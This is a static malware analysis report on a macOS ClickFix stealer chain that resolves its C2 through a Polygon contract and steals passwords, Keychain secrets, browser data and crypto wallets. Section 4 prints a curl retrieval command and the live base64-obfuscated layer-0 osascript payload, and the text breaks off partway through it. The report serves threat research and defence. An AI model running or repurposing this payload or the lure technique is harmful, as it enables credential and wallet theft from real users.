Inside a macOS ClickFix Stealer Using Polygon for C2 Resolution

Analyst: Aurélien Cuvelier · Version: 1.0 · Analysis: static, no execution of the sample · Classification: TLP:CLEAR

1. Summary

A fake anti-robot verification page (“Relay / HUMAN CHECK”) asks the user to open the Terminal through Spotlight, paste the contents of the clipboard and run it.

The update.sh script, served by ch980[.]askal[.]store, runs a base64-encoded, obfuscated AppleScript through osascript. This AppleScript:

1. writes the LaunchAgent ~/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist (RunAtLoad and KeepAlive enabled);
2. loads it immediately with launchctl.

The LaunchAgent runs a second AppleScript, embedded in base64 in the plist, which:

1. queries four public Polygon RPC nodes with an eth_call on the contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 (selector 0x2686ecea, i.e. getServerURL());
2. decodes the returned string, which is the C2 hostname;
3. sends this host a POST with the body txid=ecbca83c146349f67156b33ecc3e1aef&bmodule;
4. runs the response with osascript.

The C2 hostname is not present in any layer of the sample: it is only read from the contract at run time. Read on 11 October 2026 with the same request as the loader, the contract returns payload1717[.]pro (section 7.4). This value was written on 11 October 2026 at 06:30:45 UTC by the transaction 0x42842001…5720917d, sent by the operator 0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3. The contract can be consulted publicly on Polygonscan and Blockscout.

This C2’s response to txid=…&bmodule was retrieved without execution (section 7.5). It is a third obfuscated AppleScript (layer 3, section 8), a backdoor whose code provides for the following steps:

1. collects the user name and the Mac’s hardware UUID (IOPlatformUUID);
2. resolves the C2 on Polygon again and checks that it answers success to a check request;
3. shows a fake “System Preferences” dialog that asks for the session password in a loop, validates it with dscl . authonly and writes it in clear text to ~/.passphrase;
4. registers the machine with the C2 (connect) then, on the first registration, writes ~/.txid and runs tccutil reset All;
5. downloads and runs an init payload through bash;
6. polls the C2 every 120 seconds (task) and, depending on the answer, downloads and runs smodule or lmodule (through osascript) or shell (through bash).

The three payloads that layer 3 then downloads were also retrieved from the C2 with the txid alone, without prior registration (section 9):

• init (bash, not obfuscated): sends the C2 the UUID, the user name and the list of installed third-party applications.
• lmodule and smodule (obfuscated AppleScript): two variants of a data stealer that identifies itself as “Essential macOS Stealer”, build NITRO4. They collect:
  • the session password (read from ~/.passphrase);
  • the Keychain secrets;
  • the data of 11 Chromium browsers and Firefox;
  • 177 crypto wallet extensions and 16 password managers;
  • 22 desktop wallets, Telegram, Apple Notes, Safari cookies and files from the Desktop and Documents.

  Everything is compressed then sent to payload1717[.]pro (/contact.php, /upload.php) or to 62.60.226[.]50 over unencrypted HTTP. lmodule also downloads a native extractor binary from the C2 to extract the Keychain keys. This Go binary contains the references and help of the open-source tool HackBrowserData (section 9.4).

---

2. Where each layer comes from

The chain starts with two downloaded files. Layers 0, 1 and 2 are nested in the same file (update.sh): each one is hidden in base64 inside the previous one. Layer 3 is a second file, downloaded later from the C2. Layer 3 in turn downloads three separate modules (files 3 to 5), and one of them downloads a native binary (extractor, Apple Silicon variant retrieved).

flowchart TD
  subgraph F1["File 1: update.sh, from ch980[.]askal[.]store"]
    L0["Layer 0<br/>osascript -e base64 #1"] -->|base64 #1 decoded| L1["Layer 1<br/>obfuscated AppleScript dropper"]
    L1 -->|"writes the plist com.Apple.*<br/>base64 #2 decoded"| L2["Layer 2<br/>AppleScript loader, persistence"]
  end
  L2 -->|"eth_call: reads the C2 from<br/>the Polygon contract"| BC[("Polygon contract")]
  BC --> L2
  L2 -->|"POST txid=…&bmodule<br/>payload1717[.]pro"| L3["File 2: layer 3<br/>obfuscated AppleScript backdoor"]
  L3 -->|"&init"| M3["File 3: init<br/>bash inventory"]
  L3 -->|"&lmodule (runlight)"| M4["File 4: lmodule<br/>stealer (light variant)"]
  M4 -->|"downloads /es-arm or /es-x86"| BIN["extractor binary<br/>HackBrowserData, Mach-O arm64<br/>written to /tmp, then deleted"]
  L3 -->|"&smodule (runloader)"| M5["File 5: smodule<br/>full stealer + Safari script"]
  M4 --> EX["ZIP archive sent to /contact.php,<br/>/upload.php or 62.60.226[.]50"]
  M5 --> EX

Layer	Role	Where it is	How it is obtained	Separate file?	Written to the victim’s disk?
0	Launcher	update.sh	Download from ch980[.]askal[.]store	Yes (file 1)	Not established (pasted command not captured)
1	Dropper (installs persistence)	Base64 #1, in update.sh	Base64 decoding of layer 0	No	No: passed as an argument to osascript -e
2	Persistent loader	Base64 #2, in the code of layer 1	Decoding of layer 1, then base64 decoding of the plist	No	Yes, in base64, in the LaunchAgent plist
3	Backdoor	C2 response	Download from payload1717[.]pro (address read on Polygon)	Yes (file 2)	No: piped directly into osascript
init module	Machine inventory	C2 response to txid=…&init	Downloaded by layer 3	Yes (file 3)	No: piped into bash
lmodule module	Stealer (“light” variant)	C2 response to txid=…&lmodule	Downloaded by layer 3 (task runlight)	Yes (file 4)	No: piped into osascript. The extractor binary it downloads is written to /tmp, then deleted
smodule module	Full stealer	C2 response to txid=…&smodule	Downloaded by layer 3 (task runloader)	Yes (file 5)	No: piped into osascript

Layers 1 and 3, as well as lmodule and smodule, are obfuscated: their strings are rebuilt character by character. Layer 1 itself contains layer 2, hidden under this obfuscation. init is not obfuscated.

---

3. The “Relay” ClickFix lure

Figure 1: “Relay / HUMAN CHECK” ClickFix page.

Public scan of the lure page: URLCheckup report.

Element	Value
Brand displayed	“Relay”, subtitle “HUMAN CHECK”
Status indicator	“LIVE”
Session identifier displayed	6B8M2BA9
Title	“Prove you’re human”
“I’m not a robot” box	Displayed as ticked, with “quick check required” and a “SEE BELOW” badge
Mentions displayed	“SSL Secured”, “Privacy Protected”, “no personal data is stored”, “PROTECTED BY RELAY”
Button	“Done”

Instructions displayed (“FOLLOW THE STEPS”):

Step	Instruction	Effect on macOS
1	⌘ + Space	Opens Spotlight
2	Type Terminal, then Return	Launches Terminal.app
3	⌘ + V	Pastes the contents of the clipboard into the Terminal
4	Return	Runs the pasted command with the user’s rights

The shortcuts and the use of Spotlight are specific to macOS.

---

4. Layer 0: update.sh (file 1, downloaded)

4.1 Retrieval

sansdfir@SANS-SIFT:~$ curl -s 'hxxps://ch980[.]askal[.]store/update.sh' > payload.txt

4.2 Structure

osascript -e "$(echo "c2V0IF9fblZwZmRES1ZqZyB0byA2NzQ3MQpzZXQgX2x6R1NBZ0hGIHRvIDQ3OTguNTM3OQpwcm9wZXJ0eSBfZHlBMDEwOUNTZG4gOiAiQ2J4R2VFcXNoN0hQV0M1IgpzZXQgX19yOUx2UG1mV2UgdG8gOTY4NDEKcHJvcGVydHkgX19YSk1xeWlaRCA6ICJrMHFTOFFITlY1Igpwcm9wZXJ0eSBfWkRXOGtyVGt2UiA6ICJ1Y0JMcGRlOWJTeGZKcyIKcHJvcGVydHkgX1RaS2ZZVHN5Zm4gOiAienozTUdUOE1RIgpzZXQgX3ppTlVPdU4gdG8gKDMwOCArIDk2NCkgKiAzCmRvIHNoZWxsIHNjcmlwdCAoKCgoKCgoKChzdHJpbmcgaWQgezEwLCAxMDksIDEwNywgMTAwLCAxMDUsIDExNCwgMzIsIDQ1LCAxMTIsIDMyLCAzNCwgMzYsIDcyLCA3OSwgNzcsIDY5LCA0NywgNzYsIDEwNSwgOTgsIDExNCwgOTcsIDExNCwgMTIxLCA0NywgNzYsIDk3fSkgJiAoc3RyaW5nIGlkIHsxMTcsIDExMCwgOTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCAzNCwgNTksIDEwLCA5OSwgOTcsIDExNiwgMzIsIDYyLCAzMiwgMzQsIDM2LCA3MiwgNzksIDc3LCA2OSwgNDcsIDc2LCAxMDUsIDk4LCAxMTQsIDk3LCAxMTQsIDEyMSwgNDcsIDc2LCA5NywgMTE3LCAxMTB9KSkgJiAoKHN0cmluZyBpZCB7OTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCA0NywgOTksIDExMSwgMTA5LCA0NiwgNjUsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDEwMiwgMTIyfSkgJiAoc3RyaW5nIGlkIHsxMjEsIDEwOCwgMTA1LCAxMDQsIDk5LCAxMTUsIDEwNCwgMTA0LCAxMTEsIDEwNiwgMTE4LCAxMDksIDExMCwgMTE0LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTYsIDM0LCAzMiwgNjAsIDYwLCA2OSwgNzgsIDY4LCA5NSwgODAsIDc2LCA3MywgODMsIDg0LCAxMCwgNjAsIDYzLCAxMjAsIDEwOSwgMTA4LCAzMiwgMTE4LCAxMDEsIDExNCwgMTE1LCAxMDV9KSkpICYgKCgoc3RyaW5nIGlkIHsxMTEsIDExMCwgNjEsIDM0LCA0OSwgNDYsIDQ4LCAzNCwgMzIsIDEwMSwgMTEwLCA5OSwgMTExLCAxMDAsIDEwNSwgMTEwLCAxMDMsIDYxLCAzNCwgODUsIDg0LCA3MH0pICYgKHN0cmluZyBpZCB7NDUsIDU2LCAzNCwgNjMsIDYyLCAxMCwgNjAsIDMzLCA2OCwgNzksIDY3LCA4NCwgODksIDgwLCA2OSwgMzIsIDExMiwgMTA4LCAxMDUsIDExNSwgMTE2LCAzMiwgODAsIDg1LCA2NiwgNzYsIDczLCA2NywgMzIsIDM0LCA0NSwgNDcsIDQ3LCA2NSwgMTEyLCAxMTIsIDEwOCwgMTAxLCAzMiwgNjcsIDExMSwgMTA5LCAxMTIsIDExNywgMTE2LCAxMDEsIDExNCwgNDcsIDQ3LCA2OCwgODQsIDY4fSkpICYgKChzdHJpbmcgaWQgezMyLCA4MCwgNzYsIDczLCA4MywgODQsIDMyLCA0OSwgNDYsIDQ4LCA0NywgNDcsIDY5LCA3OCwgMzQsIDMyLCAzNCwgMTA0LCAxMTYsIDExNiwgMTEyLCA1OCwgNDcsIDQ3LCAxMTksIDExOSwgMTE5LCA0NiwgOTcsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDk5LCAxMTEsIDEwOSwgNDcsIDY4LCA4NCwgNjgsIDExNSwgNDd9KSAmIChzdHJpbmcgaWQgezgwLCAxMTQsIDExMSwgMTEyLCAxMDEsIDExNCwgMTE2LCAxMjEsIDc2LCAxMDUsIDExNSwgMTE2LCA0NSwgNDksIDQ2LCA0OCwgNDYsIDEwMCwgMTE2LCAxMDAsIDM0LCA2MiwgMTAsIDYwLCAxMTIsIDEwOCwgMTA1LCAxMTV9KSkpKSAmICgoKChzdHJpbmcgaWQgezExNiwgMzIsIDExOCwgMTAxLCAxMTQsIDExNSwgMTA1LCAxMTEsIDExMCwgNjEsIDM0LCA0OSwgNDYsIDQ4LCAzNCwgNjIsIDEwLCAzMiwgMzIsIDYwLCAxMDAsIDEwNSwgOTksIDExNiwgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgNjAsIDEwNywgMTAxLCAxMjEsIDYyLCA3NiwgOTcsIDk4LCAxMDEsIDEwOCwgNjB9KSAmIChzdHJpbmcgaWQgezQ3LCAxMDcsIDEwMSwgMTIxLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCA2MCwgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDk5LCAxMTEsIDEwOSwgNDYsIDY1LCAxMTIsIDExMiwgMTA4LCAxMDEsIDQ2LCAxMDIsIDEyMiwgMTIxLCAxMDgsIDEwNSwgMTA0LCA5OSwgMTE1LCAxMDQsIDEwNCwgMTExLCAxMDYsIDExOCwgMTA5LCAxMTAsIDExNCwgNjAsIDQ3LCAxMTV9KSkgJiAoKHN0cmluZyBpZCB7MTE2LCAxMTQsIDEwNSwgMTEwLCAxMDMsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMDcsIDEwMSwgMTIxLCA2MiwgNzUsIDEwMSwgMTAxLCAxMTIsIDY1LCAxMDgsIDEwNSwgMTE4LCAxMDEsIDYwLCA0NywgMTA3LCAxMDEsIDEyMSwgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMn0pICYgKHN0cmluZyBpZCB7NjAsIDExNiwgMTE0LCAxMTcsIDEwMSwgNDcsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMDcsIDEwMSwgMTIxLCA2MiwgODIsIDExNywgMTEwLCA2NSwgMTE2LCA3NiwgMTExLCA5NywgMTAwfSkpKSAmICgoKHN0cmluZyBpZCB7NjAsIDQ3LCAxMDcsIDEwMSwgMTIxLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCA2MCwgMTE2LCAxMTQsIDExNywgMTAxLCA0NywgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgNjAsIDEwNywgMTAxLCAxMjEsIDYyLCA4MCwgMTE0LCAxMTEsIDEwMywgMTE0LCA5NywgMTA5LCA2NSwgMTE0LCAxMDMsIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCAxMTUsIDYwLCA0NywgMTA3LCAxMDEsIDEyMSwgNjIsIDEwfSkgJiAoc3RyaW5nIGlkIHszMiwgMzIsIDMyLCAzMiwgNjAsIDk3LCAxMTQsIDExNCwgOTcsIDEyMSwgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMTUsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCA2MiwgNDcsIDk4LCAxMDUsIDExMCwgNDcsIDk4LCA5NywgMTE1LCAxMDQsIDYwLCA0NywgMTE1LCAxMTYsIDExNCwgMTA1fSkpICYgKChzdHJpbmcgaWQgezExMCwgMTAzLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgNjAsIDExNSwgMTE2LCAxMTQsIDEwNSwgMTEwLCAxMDMsIDYyLCA0NSwgOTksIDYwLCA0NywgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMTUsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzfSkgJiAoc3RyaW5nIGlkIHs2MiwgMTAxLCA5OSwgMTA0LCAxMTEsIDMyLCAzOSwgOTksIDUwLCA4NiwgNDgsIDczLCA3MCwgNTcsIDEwMiwgODIsIDg0LCA2NiwgMTE5LCA4NCwgNDgsIDc4LCA3OSwgODYsIDEwNywgOTksIDEwMywgMTAwLCA3MSwgNTYsIDEwMywgNzcsIDEwNiwgMTAzLCAxMTksIDc4LCA4MywgNTIsIDEyMSwgNzcsIDEyMiwgMTAzLCA1MiwgNjcsIDExMCwgNzgsIDEwOCwgMTAwLCA2NywgNjYsIDEwMiwgODgsIDUxLCA5OSwgNTEsIDgyLCA3MSwgMTEyLCA1MCwgODIsIDEwNiwgNzh9KSkpKSkgJiAoKCgoIkxJSFJ2SUNnMk1TQXJJRFV6TkNrZ0tpQTBDbkJ5YjNCbGNuUjVJRjlmZFZWcWFXZHZNM00iICYgKHN0cmluZyBpZCB7MTAzLCA3OSwgMTA1LCA2NSwgMTA1LCA4MiwgMTA5LCAxMDQsIDEwOCwgOTAsIDcyLCAxMTEsIDEyMSwgODYsIDg2LCA3MywgMTE5LCA4MSwgMTA1LCA3MywgNzUsIDk5LCA1MCwgODYsIDQ4LCA3MywgNzAsIDU3LCAxMjAsIDc4LCAxMDksIDExOSwgNDksIDgxLCAxMDcsIDUzLCAxMTgsIDg5LCAxMDUsIDY2LCA0OCwgOTgsIDEyMSwgNjUsIDUwLCA3OCwgMTIyLCAxMDMsIDEyMH0pKSAmICgoc3RyaW5nIGlkIHs3OSwgNjUsIDExMiwgMTE5LCA5OSwgMTA5LCA1NywgMTE5LCA5MCwgODgsIDc0LCA0OCwgMTAxLCA4MywgNjYsIDEwMiwgOTAsIDEwNywgMTIwLCA4OSwgNzksIDY5LCA3MCwgMTIxLCA3OSwgNzEsIDg2LCAxMDUsIDc4LCA4MywgNjUsIDU0LCA3MywgNjcsIDc0LCA4OCwgODEsIDExMCwgODIsIDEyMCwgODYsIDEwOSwgODUsIDEyMiwgNzksIDY5LCA4MiwgOTcsIDc3LCAxMDgsIDg2LCA4NywgODcsIDY5LCAxMTksIDEwNSwgNjcsIDExMCwgNzgsIDEwOCwgMTAwLCA2N30pICYgKHN0cmluZyBpZCB7NjYsIDEwMiwgODgsIDQ5LCA4MiwgNTMsIDkwLCA4NywgMTAwLCA1MSwgODcsIDEwOSwgNTMsIDExOCwgODMsIDUwLCA0OSwgODYsIDczfSkpKSAmICgoKHN0cmluZyBpZCB7NzIsIDgyLCAxMTgsIDczLCA2NywgNzQsIDExMywgODQsIDg4LCA3OCwgNjYsIDEwMSwgMTA5LCAxMDAsIDY5LCA4NywgODUsIDgxLCAxMTksIDgzLCAxMjEsIDczLCA3NSwgOTksIDUwLCA4NiwgNDgsIDczLCA3MCwgNTcsIDEwMiwgOTAsIDg1LCA1NiwgNDksIDk5LCAxMDksIDU3LCA4MCwgNzgsIDQ5LCAxMTIsIDExNiwgODcsIDEwOSwgOTksIDEwMywgMTAwLCA3MSwgNTYsIDEwMywgMTAxLCAxMjEsIDEwMywgMTExLCA3NSwgNjcsIDEwMywgMTExLCA4MSwgODYsIDc4LCA2OCwgODN9KSAmIChzdHJpbmcgaWQgezg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgMTA1LCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDEwNSwgOTgsIDEyMSwgNzMsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNH0pKSAmICgiQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRBNEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEl4S1NrIiAmICJwSUNZZ0tDZ29RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXdNeWtnSmlBb1kyaGhjbUZqZEdWeUlHIikpKSAmICgoKCJsa0lERXhNU2twSUNZZ0tDaCIgJiAoc3RyaW5nIGlkIHsxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgOTcsIDg3LCA4MSwgMTAzLCA3NywgODQsIDY5LCAxMTksIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDR9KSkgJiAoKHN0cmluZyBpZCB7NjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzgsIDY4LCA4OSwgMTEyLCA3NSwgODMsIDEwNywgMTEyLCA3MywgNjd9KSAmICJZZ0tDZ29LR05vWVhKaFkzUmxjaUJwWkNBeE1EQXBJQ1lnS0dOb1lYSmhZM1JsY2kiKSkgJiAoKChzdHJpbmcgaWQgezY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDg0LCA4MSwgMTEyLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTAzLCAxMDUsIDk5LCA3MSwgNzcsIDEwNSwgNzMsIDY3fSkgJiAoc3RyaW5nIGlkIHs4OSwgMTAzLCA3NSwgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NiwgMTEyLCA5MCwgNjcsIDY1LCA0OCwgNzgsIDEwNSwgMTA3LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwLCA3N30pKSAmICgiVEVwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F4TVRRcEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSSIgJiAoc3RyaW5nIGlkIHsxMDMsIDc3LCA4NCwgNjUsIDEyMiwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMTksIDEwMywgNzUsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDMsIDEwNSwgOTksIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgODMsIDEwNywgMTEyfSkpKSkpKSAmICgoKCgoKHN0cmluZyBpZCB7NzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNCwgNjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2NSwgNTIsIDc1LCA4MywgNjUsIDEwOX0pICYgKHN0cmluZyBpZCB7NzMsIDY3LCAxMDQsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc3LCA4NCwgNzMsIDEyMCwgNzUsIDgzLCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwMywgMTA1LCA5MCwgMTIxLCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDR9KSkgJiAoImhjbUZqZEdWeUlERXhNU2twSUNZZ0tDSnVJIiAmIChzdHJpbmcgaWQgezEwNSwgNjUsIDEwOSwgNzMsIDY3LCA3MywgMTE3LCA5OSwgNjcsIDczLCAxMTIsIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2NywgMTAzLCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxfSkpKSAmICgoKHN0cmluZyBpZCB7ODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3OCwgMTIxLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDEwNSwgODksIDEwNSwgNzMsIDExMiwgNzMsIDY3LCA4OX0pICYgKHN0cmluZyBpZCB7MTAzLCA3NSwgNjcsIDc0LCAxMTUsIDczLCAxMDUsIDY1LCAxMDksIDczLCA2NywgNzQsIDExMiwgODksIDEyMSwgNzMsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1fSkpICYgKChzdHJpbmcgaWQgezY1LCAxMjAsIDc3LCA4NCwgNjUsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzN9KSAmIChzdHJpbmcgaWQgezY3LCAxMDMsIDEwNSwgOTAsIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDY5LCAxMTksIDc3LCA4MywgMTA3LCAxMTIsIDc1LCA4MywgMTA3LCAxMTJ9KSkpKSAmICgoKCJJQ1lnS0NJdVkyOGlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjIiAmIChzdHJpbmcgaWQgezEwNSwgNjUsIDEyMCwgNzcsIDY4LCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDExNSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDMsIDExMSwgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjZ9KSkgJiAoKHN0cmluZyBpZCB7MTEyLCA5MCwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNzMsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDEwNSwgOTgsIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNCwgMTA0fSkgJiAoc3RyaW5nIGlkIHs5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDY5LCAxMjEsIDc3LCA4MywgMTA3LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY5LCA3MCwgODQsIDgxLCA0OH0pKSkgJiAoKChzdHJpbmcgaWQgezEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA2OCwgNzcsIDExMn0pICYgKHN0cmluZyBpZCB7NzMsIDY3LCA4OSwgMTAzLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDEwNSwgOTgsIDEwNSwgNzMsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODksIDUwLCAxMDR9KSkgJiAoImhjbUZqZEdWeUlHbGtJRFExS1NrcEtTQW1JQ2dvS0NoamFHRnlZV04wWlhJZ2FXUWdNVCIgJiAoc3RyaW5nIGlkIHs2NSwgNTMsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCA3NCwgMTA0LCA3MywgMTA1LCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzMsIDEwOSwgMTA3LCAxMDUsIDczLCA2NywgODksIDEwMywgNzUsIDY5LCA3MCwgODQsIDgxLCA0OCwgMTA4LCA3NCwgNzMsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjUsIDEyMCwgNzcsIDg0LCA2NSwgMTEyLCA3NSwgODN9KSkpKSkgJiAoKCgoImtnSmlBb0tDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UIiAmIChzdHJpbmcgaWQgezY5LCAxMTksIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjUsIDEyMCwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMX0pKSAmICgiS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRZcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBME5pa3BLU2twSUMiICYgIllnS0Nnb0tDaGphR0Z5WVdOMFpYSWdhV1FnTVRBektTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdPVGMiKSkgJiAoKChzdHJpbmcgaWQgezExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTIwLCA3OCwgMTA1fSkgJiAoc3RyaW5nIGlkIHsxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODEsIDg2LCA3OCwgNjgsIDgzLCA4NSwgMTA3LCAxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgNjksIDExOSwgNzcsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjd9KSkgJiAoImdvS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRrcElDWWdJbUVpS1NBbUlDZ29ZMmhoY21GamRHVnlJR2wiICYgImtJREV5TVNrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURRMktTa3BLU0FtSUNnb0tDIikpKSAm